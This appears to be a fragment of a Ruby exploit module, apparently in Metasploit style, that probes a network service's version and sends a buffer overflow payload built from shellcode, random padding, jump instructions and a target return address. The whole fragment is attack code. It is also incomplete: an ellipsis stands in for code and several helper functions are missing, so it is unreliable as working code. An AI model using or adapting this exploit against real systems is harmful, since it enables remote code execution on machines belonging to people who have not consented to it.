test

def exploit
  connect()
  preamble = "\x00\x4d\x00\x03\x00\x01"
  version = probe_ver()
  if version == 5
    payload = prep_ark5()
  else
    payload = prep_ark4()
  end
  preamble << payload.length
  sock.put(preamble) # Required by protocol
  sock.get_once()
  sock.put(payload) # Send attack payload
  sock.get_once()
  ... # vulnerability triggered
end
def prep_ark5()
  payload = shellcode()
  payload << rand_alpha(1167 - payload.length)
  payload << "\xe98" + [-1172].pack("V")
  payload << "\xeb\xf9"
  payload << get_target_ret(5) # Tar_Ver: 5
  payload << rand_alpha(4096 - payload.length)
  return payload
end